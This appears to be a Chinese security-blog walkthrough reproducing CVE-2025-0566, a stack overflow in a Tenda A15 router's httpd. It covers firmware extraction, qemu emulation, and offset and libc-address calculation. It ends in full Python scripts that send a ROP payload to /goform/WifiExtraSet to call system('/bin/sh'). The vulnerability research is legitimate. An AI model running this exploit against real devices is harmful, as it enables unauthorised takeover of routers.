问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2025-0566 A15-MIPS架构下栈溢出漏洞复现
漏洞分析
本文主要讲解MIPS架构下栈溢出漏洞的漏洞利用与细节讲解
用户级启动 ===== 本次实验以用户级别启动为案例,首先使用以下指令可以分析固件系统架构 ```php file busybox ```  执行下述脚本,开启网卡 ```php #!/bin/bash #我的宿主机的上网的网卡为ens33,并且存在多个虚拟网卡 sudo ifconfig ens33 down # 首先关闭宿主机网卡接口 sudo brctl addbr br0 # 添加一座名为 br0 的网桥 sudo brctl addif br0 ens33 # 在 br0 中添加一个接口 sudo brctl stp br0 on #打开生成树协议 sudo brctl setfd br0 2 # 设置 br0 的转发延迟 sudo brctl sethello br0 1 # 设置 br0 的 hello 时间 sudo ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口 sudo ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口 sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址 sudo brctl show br0 # 查看虚拟网桥列表 sudo brctl showstp br0 # 查看 br0 的各接口信息 sudo tunctl -t tap0 # 创建一个 tap0 接口 sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口 sudo ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口 sudo ifconfig tap0 192.168.50.12/24 up #为tap0分配ip地址 sudo ifconfig ens33 192.168.50.10/24 up #为tap0分配ip地址 sudo brctl showstp br0 # 显示 br0 的各个接口 ``` 使用binwalk查看固件是否加密,发现没加密 ```php binwalk -E US_A15V1.0RTL_V15.13.07.13_multi_TD01.bin ```  使用binwalk进行固件分解 ```php binwalk -Me US_A15V1.0RTL_V15.13.07.13_multi_TD01.bin ```  而后进入到squashfs-root,删除原有的webroot,重新创建空webroot目录,并复制粘贴 而后运行程序 ```php rm -rf webroot mkdir webroot cp -rf ./webroot_ro/* ./webroot/ cp $(which qemu-mipsel-static) qemu-mipsel-static sudo chroot ./ ./qemu-mipsel-static ./bin/httpd ```  开启远程调试 ====== ```php sudo chroot ./ ./qemu-mipsel-static -g 1234 ./bin/httpd gdb-multiarch set arch mips c ```  漏洞点位 ==== 查看fromSetWirelessRepeat 函数  进入fromSetWirelessRepeat 函数后发现,前面进行了三个判断 ```php if ( strcmp(configured2_4g, "true") || !strcmp(configured5g, "true") ) #configured2_4g为fasle或者configured5g是true { if ( !strcmp(configured2_4g, "true") || strcmp(configured5g, "true") ) #configured2_4g为true或者configured5g是false { if ( !strcmp(configured2_4g, "true") && !strcmp(configured5g, "true") ) #configured2_4g是true,并且configured5g也是true { ```  条件很复杂,我们这一次主要关注set\_repeat5函数,而满足进入这个函数的条件有很多,比如说"configured5g":'true'或者"configured5g":'true', "configured2\_4g":"false";只要满足一个就能进到函数里面 set\_repeat5函数传递了6个参数  在函数体里面,可以看到虽然里面有很多的strcpy函数,但是只有strcpy(wpapsk\_cryptovalue, wpapsk\_crypto);是可控的,其中wpapsk\_crypto代表的参数就是wpapsk\_crypto5g,此处因为没有对参数进行长度限制,所以此处存在栈溢出漏洞  由此我们可以得到poc如下 ```php import requests from pwn import * url = "http://192.168.50.18/goform/WifiExtraSet" cookie = {"Cookie":"password=1234111115"} payload = cyclic(50) data = { "configured5g":'true', "configured2_4g":"false", "originSsid5g":"1234", "encode5g":"1234", "security5g":"wpapsk", "wpapsk_type5g":"wpa2", "wpapsk_crypto5g":payload, "wpapsk_key5g": "12345678" } response = requests.post(url, cookies=cookie, data=data) response = requests.post(url, cookies=cookie, data=data) print(response.text) ``` 因为函数逻辑比较简单,所以不画图了 偏移量计算 ===== ```php #第一个端 sudo chroot ./ ./qemu-mipsel-static -g 1234 ./bin/httpd #第二个端 gdb-multiarch file ./bin/httpd #需要加载httpd文件,请根据实际情况修改 target remote :1234 c #第三个端 python3 6.py ``` 还是以用户模式模拟程序,启动程序后,运行测试脚本  运行cyclic -l laaa 查看偏移量,但是这里其实是错的  但是不要紧,我们修改脚本,把偏移量改成44然后运行一下 ```php import requests from pwn import * url = "http://192.168.50.18/goform/WifiExtraSet" cookie = {"Cookie":"password=1234111115"} payload = cyclic(44) data = { "configured5g":'true', "configured2_4g":"false", "originSsid5g":"1234", "encode5g":"1234", "security5g":"wpapsk", "wpapsk_type5g":"wpa2", "wpapsk_crypto5g":payload , "wpapsk_key5g": "12345678" } response = requests.post(url, cookies=cookie, data=data) response = requests.post(url, cookies=cookie, data=data) print(response.text) ```  这个时候的状态是对的,可以得到,正确的偏移量应该是20 再次运行正确的脚本 ```php import requests from pwn import * url = "http://192.168.50.18/goform/WifiExtraSet" cookie = {"Cookie":"password=1234111115"} payload = cyclic(20) data = { "configured5g":'true', "configured2_4g":"false", "originSsid5g":"1234", "encode5g":"1234", "security5g":"wpapsk", "wpapsk_type5g":"wpa2", "wpapsk_crypto5g":payload , "wpapsk_key5g": "12345678" } response = requests.post(url, cookies=cookie, data=data) response = requests.post(url, cookies=cookie, data=data) print(response.text) ``` 看一下栈,往前随便推几个栈就可以看到,这一步主要是看一下当前的返回地址是什么 telescope 0x407FFDb4 20  info registers 结果也是可以对的上的哈,所以我们记录一下,0x407ffdd4这个地址就是第一个ra寄存器的地址,这里后续我们要覆盖成gadget1  libc基址地址计算 ========== 由于我们是用户模拟模式,所以没法直接计算libc基址,但是我们可以通过断点libc函数实现计算,比如说上一篇文章断strcpy函数,并且我发现,A15固件的libc.so.0和AC9的libc.so.0是一模一样的 ```php #第一个端 sudo chroot ./ ./qemu-mipsel-static -g 1234 ./bin/httpd #第二个端 gdb-multiarch file ./bin/httpd #需要加载httpd文件,请根据实际情况修改 target remote :1234 b *0x44D458 c #第三个端 python3 6.py ``` 下图为httpd文件里strcpy函数的相对偏移量,在这里打断点的原因是查看一下strcpy函数在栈里的地址   行下述指令,获取strcpy在libc中的相对偏移量0x0003d220 ```php mipsel-linux-gnu-readelf -s ./lib/libc.so.0 | grep strcpy ```  由此可以得到libc\_base ```php libc_base = 0x3fe40220 - 0x0003d220 = 0x3FE03000 ``` system地址计算 ========== ```php mipsel-linux-gnu-readelf -s ./lib/libc.so.0 | grep system ```  所以system\_base 如下 ```php system_base = libc_base + 0x00060320 = 0x3FE63320 ``` /bin/sh 计算 ========== /bin/sh 我直接按照上述搜索没有搜到,所以我使用ida打开找的 0x6AE30  所以binsh\_base 如下 ```php binsh_base = libc_base + 0x6AE30 = 0x3FE6DE30 ``` gadget1选择 ========= 大哥说让我换个gadget1,我这就换了,还是用mipsrop插件,直接搜 mipsrop.find("lw $ra") ,随便挑一个  可以看到,var\_s18 的值为0x18 ,所以lw $ra, 0x24+var\_s18($sp) 这里代表的意思是,从栈上的位置($sp + 0x24 + 0x18)读取一个 32 位的数据,并存入 $ra 寄存器  ```php .text:0002A088 .text:0002A088 loc_2A088: # CODE XREF: sub_29F60+54↑j .text:0002A088 # sub_29F60+AC↑j ... .text:0002A088 lw $ra, 0x24+var_s18($sp) .text:0002A08C lw $s5, 0x24+var_s14($sp) .text:0002A090 lw $s4, 0x24+var_s10($sp) .text:0002A094 lw $s3, 0x24+var_sC($sp) .text:0002A098 lw $s2, 0x24+var_s8($sp) .text:0002A09C lw $s1, 0x24+var_s4($sp) .text:0002A0A0 lw $s0, 0x24+var_s0($sp) .text:0002A0A4 jr $ra ``` 可以看到,这一次选择的链子也很规整,从$s0 - $s5寄存器,栈顶距离ra的距离为0x24+0x18=0x3C距离;$s0寄存器距离栈顶的距离是0x24,所以前面需要填充0x24个字节;我们后续只需要控制$s0和$s1寄存器,剩下的四个寄存器($s2 - $s5)继续用A来填充就行; 所以 ```php gadget1= libc_base + 0002A088 ``` ROP为 ```php payload = b'A' * 20 # 填充至返回地址前 + p32(gadget1) # 跳转到gadget1 + b'A' * 0x24 # 填充0x24字节 + p32("/bin/sh") # 跳转到 /bin/sh + p32(system) # 跳转到 system + b'A' * 0x10 # 填充$s2 - $s5寄存器 + p32(gadget2) # 控制$s0、$s1寄存器 ``` gadget2选择 ========= 这里使用插件直接搜mipsrop.find("move $a0 $s0")  ```php .text:0000DC1C move $a0, $s0 .text:0000DC20 move $t9, $s1 .text:0000DC24 jalr $t9 ; stat64 ``` 所以gadget2地址为 ```php gadget2 = libc_base + 0x0000DC1C = 0x3FE10C1C ``` ROP链构造 ====== 图就不画了 这次遇到的问题和CVE-2024-0532的问题是一样的,都受到了SetValue("wl5g.extra.wpapsk\_psk", wpapsk\_key);函数的干扰,因为已经开卷了,所以这里直接看一下 ```php import requests from pwn import * url = "http://192.168.50.18/goform/WifiExtraSet" cookie = {"Cookie":"password=1234111115"} payload = cyclic(20) libc_base = 0x3FE03000 system = libc_base + 0x60320 binsh = libc_base + 0x6AE30 gadget1= libc_base + 0x0002A088 gadget2= libc_base + 0x0000DC1C read_base = libc_base + 0x6B4C3 data = { "configured5g":'true', "configured2_4g":"false", "originSsid5g":"1234", "encode5g":"1234", "security5g":"wpapsk", "wpapsk_type5g":"wpa2", "wpapsk_crypto5g":payload + p32(gadget1)+b"CCCC"+b"AAAA"+b"BBBB"+b"FFFF"+b"SSSS"+b"WWWW"+b"EEEE"+b"GGGG"+b"HHHH"+p32(binsh)+p32(system)+b"A"*16+p32(gadget2), "wpapsk_key5g": "12345678" } response = requests.post(url, cookies=cookie, data=data) response = requests.post(url, cookies=cookie, data=data) print(response.text) ``` 首先直接运行一下,这里其实是根据后期调试,发现问题发生在"WWWW"参数这里,脚本这里不直接使用"A"\*0x24主要原因就是,如果都是"AAAA",那就没办法知道问题具体出现在哪个参数 ```php #第一个端 sudo chroot ./ ./qemu-mipsel-static -g 1234 ./bin/httpd #第二个端 gdb-multiarch file ./bin/httpd #需要加载httpd文件,请根据实际情况修改 target remote :1234 b *0x44D458 #在strcpy函数打断点 c #第三个端 python3 6.py #第二个端 ni ```  看下伪代码,发现问题和以前的一样,都是因为调用了a1寄存器的值,应该是冲突了   直接在WWWW字符串那里替换一个可读地址就行 read\_base可读地址计算 ================  ```php read_base = libc_base + 0006B4C3 = 0x3FE6E4C3 ``` 真正的ROP构造 ======== ```php import requests from pwn import * url = "http://192.168.50.18/goform/WifiExtraSet" cookie = {"Cookie":"password=1234111115"} payload = cyclic(20) libc_base = 0x3FE03000 system = libc_base + 0x60320 binsh = libc_base + 0x6AE30 gadget1= libc_base + 0x0002A088 gadget2= libc_base + 0x0000DC1C read_base = libc_base + 0x6B4C3 data = { "configured5g":'true', "configured2_4g":"false", "originSsid5g":"1234", "encode5g":"1234", "security5g":"wpapsk", "wpapsk_type5g":"wpa2", "wpapsk_crypto5g":payload + p32(gadget1)+b"CCCC"+b"AAAA"+b"BBBB"+b"FFFF"+b"SSSS"+p32(read_base)+b"EEEE"+b"GGGG"+b"HHHH"+p32(binsh)+p32(system)+b"A"*16+p32(gadget2), "wpapsk_key5g": "12345678" } response = requests.post(url, cookies=cookie, data=data) response = requests.post(url, cookies=cookie, data=data) print(response.text) ``` 这个时候就很好,可以看到,开始跳转0x3FE6E4C3 可读地址了    telescope 0x407FFDb4 30  没毛病 
发表于 2025-08-22 09:55:30
阅读 ( 160 )
分类:
网络设备
0 推荐
收藏
0 条评论
请先
登录
后评论
vlan911
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!